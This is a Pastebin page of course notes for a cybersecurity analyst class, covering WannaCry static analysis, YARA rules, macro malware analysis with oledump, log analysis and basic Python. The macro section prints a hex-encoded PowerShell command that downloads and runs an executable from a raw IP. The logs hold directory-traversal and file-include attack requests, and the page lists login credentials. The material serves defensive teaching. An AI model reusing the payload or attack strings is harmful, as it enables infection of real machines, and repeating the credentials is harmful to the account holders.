Advertisement
joemccray

CySA 2021

Oct 26th, 2020 (edited)
1,532
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 37.10 KB | None | 0 0
  1. #############
  2. # CySA 2021 #
  3. #############
  4.  
  5.  
  6.  
  7.  
  8. ################################################
  9. ############################## # Day 1: Linux Fundamentals & Mawlare Analysis # ##############################
  10. ################################################
  11.  
  12.  
  13. Task 1: Linux Basics
  14. --------------------
  15. - Here is a good tutorial that you should complete before doing the labs below:
  16. http://linuxsurvival.com/linux-tutorial-introduction/
  17.  
  18.  
  19.  
  20. Slides we will cover
  21. --------------------
  22. - Here is a good set of slides for getting started with Linux:
  23. http://www.slideshare.net/olafusimichael/linux-training-24086319
  24.  
  25.  
  26.  
  27.  
  28. Task 2: More Linux Basics
  29. -------------------------
  30. site: https://app.shellngn.com/
  31. user: joseph.mccray@gmail.com
  32. pass: P@ssw0rd123!@#123
  33.  
  34.  
  35. NOTE: Ask me for the correct password
  36.  
  37.  
  38. ###########################
  39. ############################## # Day 1: Malware Analysis # ##############################
  40. ###########################
  41.  
  42.  
  43.  
  44. ################
  45. # The Scenario #
  46. ################
  47. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts). The fastest thing you can do is perform static analysis.
  48.  
  49.  
  50.  
  51. ####################
  52. # Malware Analysis #
  53. ####################
  54.  
  55.  
  56.  
  57. - After logging please open a terminal window and type the following commands:
  58. ---------------------------Type This-----------------------------------
  59.  
  60. cd ~/students/
  61.  
  62. mkdir yourname
  63.  
  64. cd yourname
  65.  
  66. mkdir malware_analysis
  67.  
  68. cd malware_analysis
  69. -----------------------------------------------------------------------
  70.  
  71. - This is actual Malware (remember to run it in a VM - the password to extract it is 'infected':
  72.  
  73. ---------------------------Type This-----------------------------------
  74. cd ~/students/yourname/malware_analysis
  75.  
  76. cp ~/static_analysis/wannacry.exe .
  77.  
  78. file wannacry.exe
  79.  
  80. cp wannacry.exe malware.pdf
  81.  
  82. file malware.pdf
  83.  
  84. cp malware.pdf malware.exe
  85.  
  86. hexdump -n 2 -C malware.exe
  87. -----------------------------------------------------------------------
  88.  
  89.  
  90. ***What is '4d 5a' or 'MZ'***
  91. Open up a web browser and go to this reference link below. See if you can figure out what '4d 5a' or 'MZ'
  92.  
  93. Reference:
  94. http://www.garykessler.net/library/file_sigs.html
  95.  
  96.  
  97.  
  98.  
  99. ---------------------------Type This-----------------------------------
  100. cd ~/students/yourname/malware_analysis
  101.  
  102. objdump -x wannacry.exe | less
  103. q
  104.  
  105. strings wannacry.exe
  106.  
  107.  
  108. strings wannacry.exe | grep -i dll
  109.  
  110. strings wannacry.exe | grep -i library
  111.  
  112. strings wannacry.exe | grep -i reg
  113.  
  114. strings wannacry.exe | grep -i hkey
  115.  
  116. strings wannacry.exe | grep -i hku
  117.  
  118. strings wannacry.exe | grep -i crypto
  119. ---------------------------------------------------
  120.  
  121.  
  122.  
  123. ################################
  124. # Good references for WannaCry #
  125. ################################
  126.  
  127. References:
  128.  
  129. https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168
  130. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  131. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138. ####################################
  139. # Tired of GREP - let's try Python #
  140. ####################################
  141. Decided to make my own script for this kind of stuff in the future. I
  142.  
  143. Reference1:
  144. https://infosecaddicts-files.s3.amazonaws.com/analyse_malware.py
  145.  
  146. This is a really good script for the basics of static analysis
  147.  
  148. Reference:
  149. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  150.  
  151.  
  152. This is really good for showing some good signatures to add to the Python script
  153.  
  154.  
  155. Here is my own script using the signatures (started this yesterday, but still needs work):
  156. https://pastebin.com/guxzCBmP
  157.  
  158.  
  159.  
  160. ---------------------------Type This-----------------------------------
  161. wget https://pastebin.com/raw/guxzCBmP
  162.  
  163.  
  164. mv guxzCBmP am.py
  165.  
  166.  
  167. nano am.py
  168.  
  169. python am.py wannacry.exe
  170. -----------------------------------------------------------------------
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178. ##############
  179. # Yara Ninja #
  180. ##############
  181. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  182.  
  183. Quick Google search for "wannacry ransomeware analysis"
  184.  
  185.  
  186. Reference
  187. https://www.mcafee.com/blogs/other-blogs/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  188.  
  189.  
  190.  
  191. - Yara Rule -
  192.  
  193.  
  194. Strings:
  195. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  196. $s2 = “Wanna Decryptor” wide ascii nocase
  197. $s3 = “.wcry” wide ascii nocase
  198. $s4 = “WANNACRY” wide ascii nocase
  199. $s5 = “WANACRY!” wide ascii nocase
  200. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  201.  
  202.  
  203.  
  204.  
  205.  
  206.  
  207.  
  208.  
  209. Ok, let's look for the individual strings
  210.  
  211. ---------------------------Type This-----------------------------------
  212. cd ~/students/yourname/malware_analysis
  213.  
  214. strings wannacry.exe | grep -i ooops
  215.  
  216. strings wannacry.exe | grep -i wanna
  217.  
  218. strings wannacry.exe | grep -i wcry
  219.  
  220. strings wannacry.exe | grep -i wannacry
  221.  
  222. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  223.  
  224.  
  225. -----------------------------------------------------------------------
  226.  
  227.  
  228.  
  229.  
  230. Let's see if we can get yara working.
  231. ---------------------------Type This-----------------------------------
  232. cd ~/students/yourname/malware_analysis
  233.  
  234. mkdir quick_yara
  235.  
  236. cd quick_yara
  237.  
  238. cp ~/static_analysis/wannacry.exe .
  239. -----------------------------------------------------------------------
  240.  
  241.  
  242.  
  243.  
  244.  
  245. ---------------------------Type This-----------------------------------
  246.  
  247. nano wannacry_1.yar
  248.  
  249. ---------------------------Paste This-----------------------------------
  250. rule wannacry_1 : ransom
  251. {
  252. meta:
  253. author = "Joshua Cannell"
  254. description = "WannaCry Ransomware strings"
  255. weight = 100
  256. date = "2017-05-12"
  257.  
  258. strings:
  259. $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
  260. $s2 = "Wanna Decryptor" wide ascii nocase
  261. $s3 = ".wcry" wide ascii nocase
  262. $s4 = "WANNACRY" wide ascii nocase
  263. $s5 = "WANACRY!" wide ascii nocase
  264. $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
  265.  
  266. condition:
  267. any of them
  268. }
  269.  
  270. ----------------------------------------------------------------------------
  271.  
  272.  
  273.  
  274.  
  275.  
  276. ---------------------------Type This-----------------------------------
  277.  
  278. yara wannacry_1.yar wannacry.exe
  279.  
  280. -----------------------------------------------------------------------
  281.  
  282.  
  283.  
  284.  
  285.  
  286. ---------------------------Type This-----------------------------------
  287.  
  288. nano wannacry_2.yar
  289.  
  290. ---------------------------Paste This-----------------------------------
  291. rule wannacry_2{
  292. meta:
  293. author = "Harold Ogden"
  294. description = "WannaCry Ransomware Strings"
  295. date = "2017-05-12"
  296. weight = 100
  297.  
  298. strings:
  299. $string1 = "msg/m_bulgarian.wnry"
  300. $string2 = "msg/m_chinese (simplified).wnry"
  301. $string3 = "msg/m_chinese (traditional).wnry"
  302. $string4 = "msg/m_croatian.wnry"
  303. $string5 = "msg/m_czech.wnry"
  304. $string6 = "msg/m_danish.wnry"
  305. $string7 = "msg/m_dutch.wnry"
  306. $string8 = "msg/m_english.wnry"
  307. $string9 = "msg/m_filipino.wnry"
  308. $string10 = "msg/m_finnish.wnry"
  309. $string11 = "msg/m_french.wnry"
  310. $string12 = "msg/m_german.wnry"
  311. $string13 = "msg/m_greek.wnry"
  312. $string14 = "msg/m_indonesian.wnry"
  313. $string15 = "msg/m_italian.wnry"
  314. $string16 = "msg/m_japanese.wnry"
  315. $string17 = "msg/m_korean.wnry"
  316. $string18 = "msg/m_latvian.wnry"
  317. $string19 = "msg/m_norwegian.wnry"
  318. $string20 = "msg/m_polish.wnry"
  319. $string21 = "msg/m_portuguese.wnry"
  320. $string22 = "msg/m_romanian.wnry"
  321. $string23 = "msg/m_russian.wnry"
  322. $string24 = "msg/m_slovak.wnry"
  323. $string25 = "msg/m_spanish.wnry"
  324. $string26 = "msg/m_swedish.wnry"
  325. $string27 = "msg/m_turkish.wnry"
  326. $string28 = "msg/m_vietnamese.wnry"
  327.  
  328.  
  329. condition:
  330. any of ($string*)
  331. }
  332. ----------------------------------------------------------------------------
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341. ---------------------------Type This-----------------------------------
  342.  
  343. yara wannacry_2.yar wannacry.exe
  344.  
  345. -----------------------------------------------------------------------
  346.  
  347.  
  348.  
  349. ---------------------------Type This-----------------------------------
  350. cd ~/students/yourname/malware_analysis/quick_yara
  351.  
  352. git clone https://github.com/Yara-Rules/rules.git
  353.  
  354. cd rules/
  355.  
  356. cd malware/
  357.  
  358. rm -rf RAT_PoetRATPython.yar
  359.  
  360. cd ..
  361.  
  362. ./index_gen.sh
  363.  
  364. ls
  365.  
  366. cd malware/
  367.  
  368. ls | grep -i ransom
  369.  
  370. ls | grep -i rat
  371.  
  372. ls | grep -i toolkit
  373.  
  374. ls | grep -i apt
  375.  
  376. cd ..
  377.  
  378. cd capabilities/
  379.  
  380. ls
  381.  
  382. cat capabilities.yar
  383.  
  384. cd ..
  385.  
  386. cd cve_rules/
  387.  
  388. ls
  389.  
  390. cd ..
  391.  
  392. ./index_gen.sh
  393.  
  394. cd ..
  395.  
  396. yara -w rules/index.yar wannacry.exe
  397.  
  398.  
  399. ----------------------------------------------------------------------
  400.  
  401.  
  402. References:
  403. https://www.slideshare.net/JohnLaycock1/yet-another-yara-allocution-yaya
  404. https://www.slideshare.net/KasperskyLabGlobal/upping-the-apt-hunting-game-learn-the-best-yara-practices-from-kaspersky
  405.  
  406.  
  407.  
  408.  
  409.  
  410.  
  411.  
  412. #####################################################
  413. # Analyzing Macro Embedded Malware #
  414. #####################################################
  415. ---------------------------Type This-----------------------------------
  416. cd ~/students/yourname/malware_analysis
  417.  
  418. mkdir macro_docs
  419.  
  420. cd macro_docs
  421.  
  422. cp -R ~/static_analysis/* .
  423.  
  424. python oledump.py 064016.doc
  425.  
  426. python oledump.py 064016.doc -s A4 -v
  427. -----------------------------------------------------------------------
  428.  
  429.  
  430.  
  431. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  432. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  433.  
  434. ---------------------------Type This-----------------------------------
  435. python oledump.py 064016.doc -s A5 -v
  436. -----------------------------------------------------------------------
  437.  
  438. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  439.  
  440. ---------------------------Type This-----------------------------------
  441. python oledump.py 064016.doc -s A3 -v
  442.  
  443. - Look for "GVhkjbjv" and you should see:
  444.  
  445. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  446.  
  447. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  448. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  449. -----------------------------------------------------------------------
  450.  
  451.  
  452.  
  453.  
  454.  
  455. #######################
  456. # Log Analysis Basics #
  457. #######################
  458.  
  459. Step 1: Download the log file
  460. -----------------------------
  461. Browse to this link below, and save the page as a text file on your desktop.
  462. https://pastebin.com/raw/vhAh4XBQ
  463.  
  464.  
  465.  
  466. Step 2: Reduce the noise (Find/Replace All)
  467. -------------------------------------------
  468. Now open the log file in Notepad and perform basic find/replace actions. For each of snippets of text below do a replace all - replacing each one of them with nothing.
  469. <189>Nov 11 2006
  470. %Customer_PIX: Attacker_IP Accessed URL Target_IP:
  471.  
  472.  
  473. -
  474.  
  475. Step 3: Group LIKE data
  476. -----------------------
  477. At the end of each one of these lines press ENTER 4 times.
  478. 15:59:32: /icons/image2.gif
  479. 16:01:53: /oz/attachments
  480. 16:03:53: /oz/admin/control.php? tpl=Please+Select+a+Template+to+Edit+.+.+.&t=templates&restore_tpl=Restore+Templates
  481. 16:10:26: /oz/common/logout.php?database=http://cgi.cs.kent.edu/ ~pwang/php/store/images/14.txt%00
  482. 16:27:20: /oz/common/login.php?default_language=../../../../../../../tmp/tmp&cmd=ls%20-la%20../../wordpress
  483. 16:28:27: /wordpress/test.php?=PHPE9568F35-D428-11d2-A769- 00AA001ACF42
  484.  
  485.  
  486.  
  487. Step 4: Rename fields
  488. ----------------------
  489. Find "../../../../../../../" (without the quotes) and replace it with " --- directory traversal attack --- "
  490. Find "%20" (without the quotes) and replace it with " " (meaning a space also without the quotes)
  491.  
  492. Step 4: Repeat
  493. --------------
  494. Keep doing this process over and over and over
  495.  
  496.  
  497.  
  498.  
  499.  
  500. ##############################################
  501. # Log Analysis with Linux command-line tools #
  502. ##############################################
  503. - The following command line executables are found in the Mac as well as most Linux Distributions.
  504.  
  505. cat – prints the content of a file in the terminal window
  506. grep – searches and filters based on patterns
  507. awk – can sort each row into fields and display only what is needed
  508. sed – performs find and replace functions
  509. sort – arranges output in an order
  510. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  511.  
  512.  
  513.  
  514.  
  515.  
  516. ##############
  517. # Cisco Logs #
  518. ##############
  519. ---------------------------Type This-----------------------------------
  520. cd ~/students/yourname/
  521. mkdir log_analysis
  522. cd log_analysis
  523. wget http://45.63.104.73/cisco.log
  524. -----------------------------------------------------------------------
  525.  
  526.  
  527. AWK Basics
  528. ----------
  529. - To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  530. ---------------------------Type This-----------------------------------
  531. cat cisco.log | awk '{print $5}' | tail -n 4
  532. -----------------------------------------------------------------------
  533.  
  534.  
  535.  
  536. - Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  537. ---------------------------Type This-----------------------------------
  538. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  539. -----------------------------------------------------------------------
  540.  
  541.  
  542.  
  543. - While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  544. ---------------------------Type This-----------------------------------
  545. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  546. -----------------------------------------------------------------------
  547.  
  548.  
  549.  
  550.  
  551. - Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  552. ---------------------------Type This-----------------------------------
  553. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  554.  
  555. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  556.  
  557. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  558.  
  559. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  560. -----------------------------------------------------------------------
  561.  
  562.  
  563. ###############
  564. # Apache Logs #
  565. ###############
  566.  
  567. Reference:
  568. http://www.the-art-of-web.com/system/logs/
  569.  
  570. ---------------------------Type This-----------------------------------
  571. cd ~/students/yourname/log_analysis
  572.  
  573. cp /home/ocodco/students/j0e/log_analysis/access_log .
  574. -----------------------------------------------------------------------
  575.  
  576. You want to list all user agents ordered by the number of times they appear (descending order):
  577. ---------------------------Type This-----------------------------------
  578. awk -F\" '{print $6}' access_log | sort | uniq -c | sort -rn
  579. -----------------------------------------------------------------------
  580.  
  581.  
  582. Using the default separator which is any white-space (spaces or tabs) we get the following:
  583. NOTE: Do not run the part after the "#" symbol - that is just for explanation
  584. ---------------------------Type This-----------------------------------
  585. awk '{print $1}' access_log # ip address (%h)
  586. awk '{print $2}' access_log # RFC 1413 identity (%l)
  587. awk '{print $3}' access_log # userid (%u)
  588. awk '{print $4,5}' access_log # date/time (%t)
  589. awk '{print $9}' access_log # status code (%>s)
  590. awk '{print $10}' access_log # size (%b)
  591. -----------------------------------------------------------------------
  592.  
  593. You might notice that we've missed out some items. To get to them we need to set the delimiter to the " character which changes the way the lines are 'exploded' and allows the following:
  594. ---------------------------Type This-----------------------------------
  595. awk -F\" '{print $2}' access_log # request line (%r)
  596. awk -F\" '{print $4}' access_log # referer
  597. awk -F\" '{print $6}' access_log # user agent
  598. -----------------------------------------------------------------------
  599.  
  600.  
  601.  
  602. Reference:
  603. https://blog.nexcess.net/2011/01/21/one-liners-for-apache-log-files/
  604.  
  605. # top 20 URLs from the last 5000 hits
  606. ---------------------------Type This-----------------------------------
  607. tail -5000 ./access_log | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
  608. tail -5000 ./access_log | awk '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
  609. -----------------------------------------------------------------------
  610.  
  611. # top 20 URLS excluding POST data from the last 5000 hits
  612. ---------------------------Type This-----------------------------------
  613. tail -5000 ./access_log | awk -F"[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
  614. tail -5000 ./access_log | awk -F"[ ?]" '{freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
  615. -----------------------------------------------------------------------
  616.  
  617. # top 20 IPs from the last 5000 hits
  618. ---------------------------Type This-----------------------------------
  619. tail -5000 ./access_log | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
  620. tail -5000 ./access_log | awk '{freq[$1]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
  621. -----------------------------------------------------------------------
  622.  
  623. # top 20 URLs requested from a certain ip from the last 5000 hits
  624. ---------------------------Type This-----------------------------------
  625. IP=1.2.3.4; tail -5000 ./access_log | grep $IP | awk '{print $7}' | sort | uniq -c | sort -rn | head -20
  626. IP=1.2.3.4; tail -5000 ./access_log | awk -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
  627. -----------------------------------------------------------------------
  628.  
  629.  
  630. # top 20 URLS requested from a certain ip excluding, excluding POST data, from the last 5000 hits
  631. ---------------------------Type This-----------------------------------
  632. IP=1.2.3.4; tail -5000 ./access_log | fgrep $IP | awk -F "[ ?]" '{print $7}' | sort | uniq -c | sort -rn | head -20
  633. IP=1.2.3.4; tail -5000 ./access_log | awk -F"[ ?]" -v ip=$IP ' $1 ~ ip {freq[$7]++} END {for (x in freq) {print freq[x], x}}' | sort -rn | head -20
  634. -----------------------------------------------------------------------
  635.  
  636.  
  637. # top 20 referrers from the last 5000 hits
  638. ---------------------------Type This-----------------------------------
  639. tail -5000 ./access_log | awk '{print $11}' | tr -d '"' | sort | uniq -c | sort -rn | head -20
  640. tail -5000 ./access_log | awk '{freq[$11]++} END {for (x in freq) {print freq[x], x}}' | tr -d '"' | sort -rn | head -20
  641. -----------------------------------------------------------------------
  642.  
  643.  
  644. # top 20 user agents from the last 5000 hits
  645. ---------------------------Type This-----------------------------------
  646. tail -5000 ./access_log | cut -d\ -f12- | sort | uniq -c | sort -rn | head -20
  647. -----------------------------------------------------------------------
  648.  
  649.  
  650. # sum of data (in MB) transferred in the last 5000 hits
  651. ---------------------------Type This-----------------------------------
  652. tail -5000 ./access_log | awk '{sum+=$10} END {print sum/1048576}'
  653. -----------------------------------------------------------------------
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660. #################################
  661. # Using Python for log analysis #
  662. #################################
  663.  
  664. python
  665.  
  666. >>>
  667.  
  668.  
  669.  
  670. ###########################################
  671. # Python Basics Lesson 1: Simple Printing #
  672. ###########################################
  673.  
  674. >>> print 1
  675.  
  676. >>> print hello
  677.  
  678. >>> print "hello"
  679.  
  680. >>> print "Today we are learning Python."
  681.  
  682.  
  683.  
  684. ###################################################
  685. # Python Basics Lesson 2: Simple Numbers and Math #
  686. ###################################################
  687.  
  688. >>> 2+2
  689.  
  690. >>> 6-3
  691.  
  692. >>> 18/7
  693.  
  694. >>> 18.0/7
  695.  
  696. >>> 18.0/7.0
  697.  
  698. >>> 18/7
  699.  
  700. >>> 9%4
  701.  
  702. >>> 8%4
  703.  
  704. >>> 8.75%.5
  705.  
  706. >>> 6.*7
  707.  
  708. >>> 6*6*6
  709.  
  710. >>> 6**3
  711.  
  712. >>> 5**12
  713.  
  714. >>> -5**4
  715.  
  716.  
  717.  
  718.  
  719.  
  720.  
  721. #####################################
  722. # Python Basics Lesson 3: Variables #
  723. #####################################
  724.  
  725. >>> x=18
  726.  
  727. >>> x+15
  728.  
  729. >>> x**3
  730.  
  731. >>> y=54
  732.  
  733. >>> x+y
  734.  
  735. >>> age=input("Enter number here: ")
  736. 43
  737.  
  738. >>> age+32
  739.  
  740. >>> age**3
  741.  
  742. >>> fname = raw_input("Enter your first name: ")
  743.  
  744. >>> lname = raw_input("Enter your first name: ")
  745.  
  746. >>> fname = raw_input("Enter your name: ")
  747. Enter your name: Joe
  748.  
  749. >>> lname = raw_input("Enter your name: ")
  750. Enter your name: McCray
  751.  
  752. >>> print fname
  753. Joe
  754.  
  755. >>> print lname
  756. McCray
  757.  
  758. >>> print fname lname
  759.  
  760. >>> print fname+lname
  761. JoeMcCray
  762.  
  763.  
  764.  
  765. NOTE:
  766. Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
  767.  
  768.  
  769.  
  770.  
  771.  
  772. #################################################
  773. # Python Basics Lesson 4: Modules and Functions #
  774. #################################################
  775.  
  776. >>> 5**4
  777.  
  778. >>> pow(5,4)
  779.  
  780. >>> abs(-18)
  781.  
  782. >>> abs(5)
  783.  
  784. >>> floor(18.7)
  785.  
  786. >>> import math
  787.  
  788. >>> math.floor(18.7)
  789.  
  790. >>> math.sqrt(81)
  791.  
  792. >>> joe = math.sqrt
  793.  
  794. >>> joe(9)
  795.  
  796. >>> joe=math.floor
  797.  
  798. >>> joe(19.8)
  799.  
  800.  
  801.  
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808. ###################################
  809. # Python Basics Lesson 5: Strings #
  810. ###################################
  811.  
  812. >>> "XSS"
  813.  
  814. >>> 'SQLi'
  815.  
  816. >>> "Joe's a python lover"
  817.  
  818. >>> 'Joe\'s a python lover'
  819.  
  820. >>> "Joe said \"InfoSec is fun\" to me"
  821.  
  822. >>> a = "Joe"
  823.  
  824. >>> b = "McCray"
  825.  
  826. >>> a, b
  827.  
  828. >>> a+b
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835.  
  836.  
  837. ########################################
  838. # Python Basics Lesson 6: More Strings #
  839. ########################################
  840.  
  841. >>> num = 10
  842.  
  843. >>> num + 2
  844.  
  845. >>> "The number of open ports found on this system is " + num
  846.  
  847. >>> num = str(18)
  848.  
  849. >>> "There are " + num + " vulnerabilities found in this environment."
  850.  
  851. >>> num2 = 46
  852.  
  853. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
  854.  
  855.  
  856.  
  857. NOTE:
  858. Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
  859.  
  860.  
  861.  
  862.  
  863.  
  864.  
  865.  
  866. ###############################################
  867. # Python Basics Lesson 7: Sequences and Lists #
  868. ###############################################
  869.  
  870. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  871.  
  872. >>> attacks
  873. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  874.  
  875. >>> attacks[3]
  876. 'SQL Injection'
  877.  
  878. >>> attacks[-2]
  879. 'Cross-Site Scripting'
  880.  
  881.  
  882.  
  883.  
  884.  
  885.  
  886. ########################################
  887. # Python Basics Level 8: If Statement #
  888. ########################################
  889. >>> attack="SQLI"
  890. >>> if attack=="SQLI":
  891. print 'The attacker is using SQLI'
  892.  
  893. >>> attack="XSS"
  894. >>> if attack=="SQLI":
  895. print 'The attacker is using SQLI'
  896.  
  897.  
  898.  
  899.  
  900. >>> exit()
  901.  
  902. #############################
  903. # Reference Videos To Watch #
  904. #############################
  905. Here is your first set of youtube videos that I'd like for you to watch:
  906. https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
  907.  
  908.  
  909.  
  910.  
  911.  
  912. #####################################
  913. # Lesson 9: Intro to Log Analysis #
  914. #####################################
  915.  
  916. Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
  917.  
  918. https://s3.amazonaws.com/StrategicSec-VMs/Strategicsec-Ubuntu-VPN-163.zip
  919. username: strategicsec
  920. password: strategicsec
  921.  
  922. Then execute the following commands:
  923. ---------------------------------------------------------------------------------------------------------
  924.  
  925.  
  926. wget https://s3.amazonaws.com/SecureNinja/Python/access_log
  927.  
  928.  
  929. cat access_log | grep 141.101.80.188
  930.  
  931. cat access_log | grep 141.101.80.187
  932.  
  933. cat access_log | grep 108.162.216.204
  934.  
  935. cat access_log | grep 173.245.53.160
  936.  
  937. ---------------------------------------------------------
  938.  
  939. Google the following terms:
  940. - Python read file
  941. - Python read line
  942. - Python read from file
  943.  
  944.  
  945.  
  946.  
  947. ########################################################
  948. # Lesson 10: Use Python to read in a file line by line #
  949. ########################################################
  950.  
  951.  
  952. Reference:
  953. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
  954.  
  955.  
  956.  
  957.  
  958.  
  959.  
  960. Let's have some fun.....
  961.  
  962.  
  963. >>> f = open('access_log', "r")
  964.  
  965. >>> lines = f.readlines()
  966.  
  967. >>> print lines
  968.  
  969. >>> lines[0]
  970.  
  971. >>> lines[10]
  972.  
  973. >>> lines[50]
  974.  
  975. >>> lines[1000]
  976.  
  977. >>> lines[5000]
  978.  
  979. >>> lines[10000]
  980.  
  981. >>> print len(lines)
  982.  
  983.  
  984.  
  985.  
  986.  
  987.  
  988.  
  989.  
  990.  
  991. ---------------------------------------------------------
  992. vi logread1.py
  993.  
  994.  
  995. ## Open the file with read only permit
  996. f = open('access_log', "r")
  997.  
  998. ## use readlines to read all lines in the file
  999. ## The variable "lines" is a list containing all lines
  1000. lines = f.readlines()
  1001.  
  1002. print lines
  1003.  
  1004.  
  1005. ## close the file after reading the lines.
  1006. f.close()
  1007.  
  1008. ---------------------------------------------------------
  1009.  
  1010.  
  1011. Google the following:
  1012. - python difference between readlines and readline
  1013. - python readlines and readline
  1014.  
  1015.  
  1016.  
  1017.  
  1018.  
  1019. #################################
  1020. # Lesson 11: A quick challenge #
  1021. #################################
  1022.  
  1023. Can you write an if/then statement that looks for this IP and print "Found it"?
  1024.  
  1025.  
  1026. 141.101.81.187
  1027.  
  1028.  
  1029.  
  1030.  
  1031.  
  1032.  
  1033. ---------------------------------------------------------
  1034. Hint 1: Use Python to look for a value in a list
  1035.  
  1036. Reference:
  1037. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
  1038.  
  1039.  
  1040.  
  1041.  
  1042. ---------------------------------------------------------
  1043. Hint 2: Use Python to prompt for user input
  1044.  
  1045. Reference:
  1046. http://www.cyberciti.biz/faq/python-raw_input-examples/
  1047.  
  1048.  
  1049.  
  1050.  
  1051. ---------------------------------------------------------
  1052. Hint 3: Use Python to search for a string in a list
  1053.  
  1054. Reference:
  1055. http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
  1056.  
  1057.  
  1058.  
  1059.  
  1060.  
  1061. Here is my solution:
  1062. -------------------
  1063. $ python
  1064. >>> f = open('access_log', "r")
  1065. >>> lines = f.readlines()
  1066. >>> ip = '141.101.81.187'
  1067. >>> for string in lines:
  1068. ... if ip in string:
  1069. ... print(string)
  1070.  
  1071.  
  1072.  
  1073.  
  1074. Here is one student's solution - can you please explain each line of this code to me?
  1075. -------------------------------------------------------------------------------------
  1076. #!/usr/bin/python
  1077.  
  1078. f = open('access_log')
  1079.  
  1080. strUsrinput = raw_input("Enter IP Address: ")
  1081.  
  1082. for line in iter(f):
  1083. ip = line.split(" - ")[0]
  1084. if ip == strUsrinput:
  1085. print line
  1086.  
  1087. f.close()
  1088.  
  1089.  
  1090.  
  1091.  
  1092. -------------------------------
  1093.  
  1094. Working with another student after class we came up with another solution:
  1095.  
  1096. #!/usr/bin/env python
  1097.  
  1098.  
  1099. # This line opens the log file
  1100. f=open('access_log',"r")
  1101.  
  1102. # This line takes each line in the log file and stores it as an element in the list
  1103. lines = f.readlines()
  1104.  
  1105.  
  1106. # This lines stores the IP that the user types as a var called userinput
  1107. userinput = raw_input("Enter the IP you want to search for: ")
  1108.  
  1109.  
  1110.  
  1111. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  1112. for ip in lines:
  1113. if ip.find(userinput) != -1:
  1114. print ip
  1115.  
  1116.  
  1117. #########################################
